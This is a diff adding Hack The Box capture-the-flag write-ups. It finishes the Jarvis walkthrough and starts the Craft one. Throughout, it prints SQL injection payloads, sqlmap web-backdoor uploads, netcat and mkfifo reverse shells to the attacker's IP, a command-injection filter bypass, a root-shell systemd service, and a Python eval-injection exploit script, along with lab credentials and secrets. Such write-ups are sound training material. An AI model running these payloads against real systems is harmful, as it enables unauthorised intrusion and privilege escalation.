(0.16s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) + | ssh-hostkey: + | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) + | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) + |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) + 80/tcp open http Apache httpd 2.4.25 ((Debian)) + | http-cookie-flags: + | /: + | PHPSESSID: + |_ httponly flag not set + |_http-server-header: Apache/2.4.25 (Debian) + |_http-title: Stark Hotel + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 12.29 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/43_001.png) + + + + [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~] + → dirsearch -u http://10.10.10.143 -e php,txt,html -t 50 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6748 + + Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-24_13-40-43.log + + Target: http://10.10.10.143 + + [13:40:43] Starting: + [13:40:46] 403 - 298B - /.ht_wsr.txt + [13:40:46] 403 - 300B - /.htaccess-dev + [13:40:46] 403 - 291B - /.hta + [13:40:46] 403 - 300B - /.htaccess.BAK + [13:40:46] 403 - 301B - /.htaccess.bak1 + [13:40:46] 403 - 302B - /.htaccess-marco + [13:40:46] 403 - 302B - /.htaccess-local + [13:40:46] 403 - 300B - /.htaccess.old + [13:40:46] 403 - 301B - /.htaccess.orig + [13:40:46] 403 - 303B - /.htaccess.sample + [13:40:46] 403 - 301B - /.htaccess.save + [13:40:46] 403 - 300B - /.htaccess.txt + [13:40:46] 403 - 302B - /.htaccess_extra + [13:40:46] 403 - 301B - /.htaccess_orig + [13:40:46] 403 - 299B - /.htaccessOLD + [13:40:46] 403 - 299B - /.htaccessBAK + [13:40:46] 403 - 299B - /.htaccess_sc + [13:40:46] 403 - 300B - /.htaccessOLD2 + [13:40:46] 403 - 297B - /.htaccess~ + [13:40:46] 403 - 295B - /.htgroup + [13:40:46] 403 - 300B - /.htpasswd-old + [13:40:46] 403 - 301B - /.htpasswd_test + [13:40:46] 403 - 297B - /.htpasswds + [13:40:46] 403 - 295B - /.htusers + [13:41:00] 301 - 310B - /css -> http://10.10.10.143/css/ + [13:41:02] 301 - 312B - /fonts -> http://10.10.10.143/fonts/ + [13:41:04] 301 - 313B - /images -> http://10.10.10.143/images/ + [13:41:04] 200 - 23KB - /index.php + [13:41:04] 200 - 23KB - /index.php/login/ + [13:41:04] 301 - 309B - /js -> http://10.10.10.143/js/ + [13:41:08] 301 - 317B - /phpmyadmin -> http://10.10.10.143/phpmyadmin/ + [13:41:09] 200 - 14KB - /phpmyadmin/ + [13:41:11] 403 - 300B - /server-status + [13:41:11] 403 - 301B - /server-status/ + + Task Completed + + + +now the interesting here is to head over to the room.php page where there is a SQL injectable parameter "cod" : + +![](prg/43_002.png) + +So using the sqlmap command focused on the cod parameter, with the --batch parameter to let sqlmap decide instead + +![](prg/43_003.png) + + + [ 10.10.14.15/23 ] [ /dev/pts/7 ] [~] + → sqlmap -u http://10.10.10.143/room.php\?cod\=2 -p cod --batch + ___ + __H__ + ___ ___[,]_____ ___ ___ {1.4.4#stable} + |_ -| . [ ] | .| . | + |___|_ [.]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 13:47:56 /2020-04-24/ + + [13:47:56] [INFO] testing connection to the target URL + you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ijsh9b7tldb...pd5ok0b5u4'). Do you want to use those [Y/n] Y + + [...] + + [13:48:22] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable + GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N + sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests: + --- + Parameter: cod (GET) + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: cod=2 AND 9936=9936 + + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: cod=2 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))rNre) + + Type: UNION query + Title: Generic UNION query (NULL) - 7 columns + Payload: cod=-7095 UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x526d7a7a434367667152426962716277476468697647506b63536544554f696444474c4242465369,0x7170626a71),NULL,NULL,NULL,NULL-- - + --- + [13:48:23] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) + [13:48:23] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/10.10.10.143' + + [*] ending @ 13:48:23 /2020-04-24/ + + +So our sqlmap scan picked up the **boolean-based blind sql injection _"cod=2 AND 9936=9936"_** and the a **time-based blind sql injection _"cod=2 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))rNre)"_** The last UNION query sql injection seems a bit extreme, so we'll use one the first two to continue by supplying the following --random-agent and --os-pwn flags : + + + + [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~] + → sudo sqlmap -u http://10.10.10.143/room.php\?cod\=1 -p cod --delay 2 --os-shell --batch + ___ + __H__ + ___ ___[)]_____ ___ ___ {1.4.4#stable} + |_ -| . ['] | .'| . | + |___|_ [']_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 14:25:42 /2020-04-24/ + + [14:25:42] [INFO] resuming back-end DBMS 'mysql' + [14:25:42] [INFO] testing connection to the target URL + you have not declared cookie(s), while server wants to set its own ('PHPSESSID=sdu9as9sjto...hj8maof8n6'). Do you want to use those [Y/n] Y + sqlmap resumed the following injection point(s) from stored session: + --- + Parameter: cod (GET) + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: cod=1 AND 1211=1211 + + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: cod=1 AND (SELECT 7286 FROM (SELECT(SLEEP(5)))vLIW) + + Type: UNION query + Title: Generic UNION query (NULL) - 7 columns + Payload: cod=-6450 UNION ALL SELECT CONCAT(0x7178716a71,0x685a4e4644627879677847584e50544e4f5763536e455059626b5570475768784c51795749596957,0x71626b7871),NULL,NULL,NULL,NULL,NULL,NULL-- - + --- + [14:25:44] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) + [14:25:44] [INFO] going to use a web backdoor for command prompt + [14:25:44] [INFO] fingerprinting the back-end DBMS operating system + [14:25:44] [INFO] the back-end DBMS operating system is Linux + which web application language does the web server support? + [1] ASP + [2] ASPX + [3] JSP + [4] PHP (default) + > 4 + [14:25:44] [WARNING] unable to automatically retrieve the web server document root + what do you want to use for writable directory? + [1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default) + [2] custom location(s) + [3] custom directory list file + [4] brute force search + > 1 + [14:25:44] [INFO] retrieved web server absolute paths: '/images/' + [14:25:44] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method + [14:25:53] [WARNING] unable to upload the file stager on '/var/www/' + [14:25:53] [INFO] trying to upload the file stager on '/var/www/' via UNION method + [14:25:55] [WARNING] expect junk characters inside the file as a leftover from UNION query + [14:25:58] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) + [14:26:04] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method + [14:26:15] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpuuhgv.php + [14:26:19] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbbmyz.php + [14:26:19] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER + os-shell> ls + do you want to retrieve the command standard output? [Y/n/a] Y + command standard output: + --- + ayax + b4nn3d + connection.php + css + dining-bar.php + fonts + footer.php + getfileayax.php + images + index.php + js + nav.php + phpmyadmin + room.php + roomobj.php + rooms-suites.php + sass + tmpbbhty.php + tmpbbmyz.php + tmpbfoqa.php + tmpukixw.php + tmpuqxde.php + tmpuuhgv.php + --- + os-shell> + + + +So here we have a shitty shell, which we need to spawn a proper shell: + + + os-shell> id + do you want to retrieve the command standard output? [Y/n/a] Y + No output + os-shell> which bash + do you want to retrieve the command standard output? [Y/n/a] Y + command standard output: '/bin/bash' + os-shell> bash + do you want to retrieve the command standard output? [Y/n/a] Y + No output + os-shell> which python + do you want to retrieve the command standard output? [Y/n/a] Y + os-shell> python -c 'import pty;pty.spawn("/bin/bash");' + do you want to retrieve the command standard output? [Y/n/a] Y + No output + + + +It's not as trivial as it sounds like, because we can't seem to escape said shell yet. So the thing here is that we are able to upload a netcat binary in order to spawn a reverse shell for us: + +_Terminal 1:_ + + + + [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] + → which nc + /usr/bin/nc + + [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] + → cp /usr/bin/nc . + + + [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] + → file nc + nc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=22b9d8e181fb120b26a0b11142547e0dfbde8a83, for GNU/Linux 3.2.0, stripped + + [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] + → python3 -m http.server 9091 + Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ... + + + + + os-shell> which wget + do you want to retrieve the command standard output? [Y/n/a] Y + command standard output: '/usr/bin/wget' + os-shell> wget http://10.10.14.15:9091/nc + do you want to retrieve the command standard output? [Y/n/a] Y + command standard output: + --- + --2020-04-24 10:53:19-- http://10.10.14.15:9091/nc + Connecting to 10.10.14.15:9091... connected. + HTTP request sent, awaiting response... 200 OK + Length: 35520 (35K) [application/octet-stream] + Saving to: 'nc' + + 0K .......... .......... .......... .... 100% 307K=0.1s + + 2020-04-24 10:53:20 (307 KB/s) - 'nc' saved [35520/35520] + + --- + + os-shell> nc 10.10.14.15 9001 -e /bin/bash + do you want to retrieve the command standard output? [Y/n/a] Y + + + + + [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] + → sudo nc -lvnp 9001 + [sudo] password for nothing: + listening on [any] 9001 ... + connect to [10.10.14.15] from (UNKNOWN) [10.10.10.143] 59194 + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + + + + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + which python + /usr/bin/python + python -c 'import pty;pty.spawn("/bin/bash");' + www-data@jarvis:/var/www/html$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + + + + + www-data@jarvis:/var/www/html$ cd /home + cd /home + www-data@jarvis:/home$ ls + ls + pepper + www-data@jarvis:/home$ cd pepper + cd pepper + www-data@jarvis:/home/pepper$ ls + ls + Web user.txt + www-data@jarvis:/home/pepper$ cat user.txt + cat user.txt + cat: user.txt: Permission denied + + + +So we need to privesc to the user pepper, first thing to look into is sudo -l : + + + + www-data@jarvis:/home/pepper$ sudo -l + sudo -l + Matching Defaults entries for www-data on jarvis: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin + + User www-data may run the following commands on jarvis: + (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py + + + + + + www-data@jarvis:/home/pepper$ cd /var/www/Admin-Utilities + cd /var/www/Admin-Utilities + www-data@jarvis:/var/www/Admin-Utilities$ ls -lash + ls -lash + total 16K + 4.0K drwxr-xr-x 2 pepper pepper 4.0K Mar 4 2019 . + 4.0K drwxr-xr-x 4 root root 4.0K Mar 4 2019 .. + 8.0K -rwxr--r-- 1 pepper pepper 4.5K Mar 4 2019 simpler.py + + www-data@jarvis:/var/www/Admin-Utilities$ python3 simpler.py + python3 simpler.py + *********************************************** + _ _ + ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ + / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | + \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | + |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | + |_| |_| |___/ + @ironhackers.es + + *********************************************** + + + ******************************************************** + * Simpler - A simple simplifier ;) * + * Version 1.0 * + ******************************************************** + Usage: python3 simpler.py [options] + + Options: + -h/--help : This help + -s : Statistics + -l : List the attackers IP + -p : ping an attacker IP + + + +So the trick here is to ping ourselves, and to try to not kill the current shell, because the ping command runs infintiely, to shut it down means to hit Ctrl+C and therefore end the shell. + + + www-data@jarvis:/var/www/Admin-Utilities$ python3 simpler.py -p + python3 simpler.py -p + *********************************************** + _ _ + ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ + / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | + \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | + |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | + |_| |_| |___/ + @ironhackers.es + + *********************************************** + + Enter an IP: 10.10.14.15 & whoami + 10.10.14.15 & whoami + Got you + + + +Looking at the sourcecode of the script we see that it filters out the following characters: + + + + www-data@jarvis:/var/www/Admin-Utilities$ cat simpler.py | grep forbidden + cat simpler.py | grep forbidden + forbidden = ['&', ';', '-', '`', '||', '|'] + for i in forbidden: + + +So the idea here is to make a script that will spawn another reverse shell, this time as the user pepper, thanks to the python script itself, since we can inject the characters $(/path/to/script) + + + + www-data@jarvis:/var/www/Admin-Utilities$ touch nihilist + touch nihilist + touch: cannot touch 'nihilist': Permission denied + www-data@jarvis:/var/www/Admin-Utilities$ touch /tmp/nihilist + touch /tmp/nihilist + www-data@jarvis:/var/www/Admin-Utilities$ + + + +And said script we have to save it into a directory where we have writing access, /tmp in particular with which the netcat binary will also be: + +![](prg/43_004.png) + + + www-data@jarvis:/var/www/Admin-Utilities$ touch /tmp/nihilist + www-data@jarvis:/var/www/Admin-Utilities$ chmod +x /tmp/nihilist && chmod +x /tmp/nc + www-data@jarvis:/var/www/Admin-Utilities$ echo '#!/bin/sh' > /tmp/nihilist + www-data@jarvis:/var/www/Admin-Utilities$ echo 'nc -e /bin/bash 10.10.14.15 9002' >> /tmp/nihilist + www-data@jarvis:/var/www/Admin-Utilities$ cat /tmp/nihilist + cat /tmp/nihilist + #!/bin/sh + nc -e /bin/bash 10.10.14.15 9002 + + + +` ![](prg/43_005.png) + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +In order to privesc to the root user, we can first off upgrade our current shell by making a ssh connection: + +![](prg/43_006.png) + + + + [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/.ssh] + → cp id_rsa ~/_HTB/Jarvis + + [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/.ssh] + → cd ~/_HTB + + [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB] + → ls + Arkham dupent Jarvis Luke Querier Unattended + + [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB] + → cd Jarvis + + [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB/Jarvis] + → ls + id_rsa id_rsa.pub nc + + [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB/Jarvis] + → ssh pepper@10.10.10.143 -i id_rsa + Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Fri Apr 24 11:36:53 2020 from 10.10.14.15 + pepper@jarvis:~$ + + + +So now that we can easily ssh into the box we can run LinEnum.sh like so : + +![](prg/43_007.png) + +Running it we see that there is an interesting SUID file which is systemctl, it has permissions to edit sqli-defender.service in particular: + +![](prg/43_008.png) + +We could have also found it this way by finding the files with the 4000 permissions: + + + + pepper@jarvis:/etc/systemd/system$ find / -perm /4000 2>/dev/null + /bin/fusermount + /bin/mount + /bin/ping + /bin/systemctl + /bin/umount + /bin/su + /usr/bin/newgrp + /usr/bin/passwd + /usr/bin/gpasswd + /usr/bin/chsh + /usr/bin/sudo + /usr/bin/chfn + /usr/lib/eject/dmcrypt-get-device + /usr/lib/openssh/ssh-keysign + /usr/lib/dbus-1.0/dbus-daemon-launch-helper + + + +To which systemctl obviously stands out, So now we know that we can run systemctl as root, so we can register new services that will spawn a reverse shell for us: + + + + pepper@jarvis:/etc/systemd/system$ nano /tmp/nihilist.service + pepper@jarvis:/etc/systemd/system$ cat /tmp/nihilist.service + [Unit] + Description=nihilist + + [Service] + ExecStart=/bin/nc -e /bin/bash 10.10.14.15 9004 + + [Install] + WantedBy=multi-user.target + + + +Register the new service and then we can start it: + +![](prg/43_009.png) + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/43_graph.png) + diff --git a/Medium/44.md b/Medium/44.md new file mode 100644 index 0000000..bb112f9 --- /dev/null +++ b/Medium/44.md @@ -0,0 +1,627 @@ +# Craft Writeup + +![](img/44.png) + +## Introduction : + +Craft is a Medium linux box released back in July 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.10/23 ] [ /dev/pts/3 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.110 --max-retries 0 -Pn --min-rate=200 | grep Discovered + Discovered open port 443/tcp on 10.10.10.110 + Discovered open port 22/tcp on 10.10.10.110 + + [ 10.10.14.10/23 ] [ /dev/pts/3 ] [~] + → nmap -sCV -p443,22 10.10.10.110 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 10:07 BST + Nmap scan report for 10.10.10.110 + Host is up (0.12s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0) + | ssh-hostkey: + | 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA) + | 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA) + |_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) + 443/tcp open ssl/http nginx 1.15.8 + |_http-server-header: nginx/1.15.8 + |_http-title: About + | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US + | Not valid before: 2019-02-06T02:25:47 + |_Not valid after: 2020-06-20T02:25:47 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + | tls-nextprotoneg: + |_ http/1.1 + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 24.70 seconds + + + + [ 10.10.14.10/23 ] [ /dev/pts/5 ] [~] + → sudo su + [sudo] password for nothing: + + [ 10.10.14.10/23 ] [ /dev/pts/5 ] [/home/nothing] + → whoami + root + + [ 10.10.14.10/23 ] [ /dev/pts/5 ] [/home/nothing] + → echo '10.10.10.110 craft.htb' >> /etc/hosts + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 443 so let's investigate it: + +![](prg/44_001.png) + +The webpage hints us towards a public rest API: + +![](prg/44_002.png) + +Said public rest API is a subdomain of craft.htb which is api.craft.htb so we need to add it to our hosts file as well as the gogs subdomain: + + + + [ 192.168.0.32/24 ] [ /dev/pts/2 ] [~] + → sudo nano /etc/hosts + [sudo] password for nothing: + + [ 192.168.0.32/24 ] [ /dev/pts/2 ] [~] + → cat /etc/hosts | grep craft + 10.10.10.110 craft.htb api.craft.htb gogs.craft.htb + + + +` ![](prg/44_003.png) + +the gogs subdomain contains the sourcecode while the api subdomain contains operations which can be performed to interact with the REST API that is present on the machine. + +![](prg/44_004.png) ![](prg/44_005.png) + + + curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}' + + + +` ![](prg/44_006.png) ![](prg/44_007.png) ![](prg/44_008.png) ![](prg/44_009.png) + + + dinesh:4aUh0A8PbVJxgd + + + +Now that we have his credentials, we can exploit the eval() function we found earlier using denish's curl command in order to make an injection with a POST request to /api/brew/ To do so we could use [maggick's](https://maggick.fr/2020/01/htb-craft.html) python script that i modified to work under python3 : + + + #!/usr/bin/env python + + import requests + import json + import urllib3 + + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) + json_response = json.loads(response.text) + token = json_response['token'] + + headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } + + response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) + print(response.text) + + print("Create bogus ABV brew") + brew_dict = {} + brew_dict['abv'] = '__import__(\'os\').popen(\'nc 10.10.14.11 9001 -e /bin/sh\').read()' + brew_dict['name'] = 'bullshit' + brew_dict['brewer'] = 'bullshit' + brew_dict['style'] = 'bullshit' + + json_data = json.dumps(brew_dict) + print(json_data) + response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) + print(response.text) + + +Running it we get a reverse shell as root inside a jail, which obviously won't get us the root flag, ![](prg/44_010.png) + +Another way of getting in is by using [0xdf's](https://0xdf.gitlab.io/2020/01/04/htb-craft.html) bash commands which are directly using the curl commands to directly spawn us a shell: + + + TOKEN=$(curl -s -k -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H "accept: application/json" | jq -r '.token'); \ + curl -X POST "https://api.craft.htb/api/brew/" -H "accept: application/json" -H "Content-Type: application/json" -d "{ + \"id\": 0, + \"brewer\": \"0xdf\", + \"name\": \"beer\", + \"style\": \"bad\", + \"abv\": \"__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f')\"}" -k -H "X-CRAFT-API-TOKEN: $TOKEN" + + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.110] 34287 + /bin/sh: can't access tty; job control turned off + /opt/app # id + uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) + + +Before we do anything, let's upgrade our shell to a full tty shell: + + + /opt/app # python -c 'import pty; pty.spawn("/bin/sh")' + /opt/app # ^Z + [1]+ Stopped nc -lvnp 9001 + + [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~] + → stty raw -echo + + [ 10.10.14.11/23 ] [ /dev/pts/5 ] [~] + → nc -lvnp 9001 + reset + /opt/app # export SHELL=bash + /opt/app # export TERM=xterm-256color + /opt/app # l + ld ldd linux32 loadfont login ls lspci lzma + ld.bfd less linux64 loadkmap logread lsmod lsusb lzop + ldconfig link ln logger losetup lsof lzcat lzopcat + /opt/app # ls + + +What we did here was : + + + -Spawn a /bin/sh tty shell using python's pty library + -Backgrounded our shell (CTRL+Z) + -Typed "stty raw -echo" and then fg + -Resetted the terminal by typing "reset" + -Exported our SHELL and TERM variables + + + +Which gave us tab completion which is preety neat to continue, especially to edit files with vim as you'll see later: + + + /opt/app # uname -a + uname -a + Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux + + + /opt/app # cat /proc/self/cgroup + cat /proc/self/cgroup + 10:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 9:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 8:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 7:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 6:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 5:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 4:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 3:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 2:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + 1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c + + +Running uname -a and cat /proc/self/cgroup shows us that we are in a docker container, so after poking around that jail we look into the settings.py file that contains the database credentials: + + + /opt/app # ps auxw + PID USER TIME COMMAND + 1 root 0:02 python ./app.py + 65 root 0:00 /bin/sh + 67 root 0:00 python -c import pty; pty.spawn("/bin/sh") + 68 root 0:00 /bin/sh + 95 root 0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f + 98 root 0:00 cat /tmp/f + 99 root 0:00 /bin/sh -i + 100 root 0:00 nc 10.10.14.11 9001 + 102 root 0:00 ps auxw + + +Running ps auxw we can see that there aren't many processes active, it seems like there's only our python shell that's active right now. + + + + /opt/app # ls -lash + ls -lash + total 32 + 4 drwxr-xr-x 5 root root 4.0K Feb 10 2019 . + 4 drwxr-xr-x 1 root root 4.0K Feb 9 2019 .. + 4 drwxr-xr-x 8 root root 4.0K Feb 8 2019 .git + 4 -rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore + 4 -rw-r--r-- 1 root root 1.5K Feb 7 2019 app.py + 4 drwxr-xr-x 5 root root 4.0K Feb 7 2019 craft_api + 4 -rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py + 4 drwxr-xr-x 2 root root 4.0K Feb 7 2019 tests + /opt/app # cd craft_api + cd craft_api + /opt/app/craft_api # ls + ls + __init__.py __pycache__ api database settings.py + /opt/app/craft_api # cat settings.py + cat settings.py + # Flask settings + FLASK_SERVER_NAME = 'api.craft.htb' + FLASK_DEBUG = False # Do not use debug mode in production + + # Flask-Restplus settings + RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list' + RESTPLUS_VALIDATE = True + RESTPLUS_MASK_SWAGGER = False + RESTPLUS_ERROR_404_HELP = False + CRAFT_API_SECRET = 'hz66OCkDtv8G6D' + + # database + **MYSQL_DATABASE_USER = 'craft' + MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O' + MYSQL_DATABASE_DB = 'craft'** + MYSQL_DATABASE_HOST = 'db' + SQLALCHEMY_TRACK_MODIFICATIONS = False + + +The application uses SQLAlchemy to interact with the mysql database, and we find an example of code in dbtest.py and models.py: + + + + /opt/app/craft_api # cd .. + cd .. + /opt/app # cat dbtest.py + cat dbtest.py + #!/usr/bin/env python + + import pymysql + from craft_api import settings + + # test connection to mysql database + + connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, + user=settings.MYSQL_DATABASE_USER, + password=settings.MYSQL_DATABASE_PASSWORD, + db=settings.MYSQL_DATABASE_DB, + cursorclass=pymysql.cursors.DictCursor) + + try: + with connection.cursor() as cursor: + sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1" + cursor.execute(sql) + result = cursor.fetchone() + print(result) + + finally: + connection.close() + + + + /opt/app # ls + ls + app.py craft_api dbtest.py tests + /opt/app # cd craft_api + cd craft_api + /opt/app/craft_api # ls + ls + __init__.py __pycache__ api database settings.py + /opt/app/craft_api # cd database + cd database + /opt/app/craft_api/database # ls + ls + __init__.py __pycache__ models.py + /opt/app/craft_api/database # cat models.py + cat models.py + # The examples in this file come from the Flask-SQLAlchemy documentation + # For more information take a look at: + # http://flask-sqlalchemy.pocoo.org/2.1/quickstart/#simple-relationships + + from datetime import datetime + from craft_api.database import db + + + **class Brew(db.Model): + id = db.Column(db.Integer, primary_key=True) + brewer = db.Column(db.String(80)) + name = db.Column(db.Text) + style = 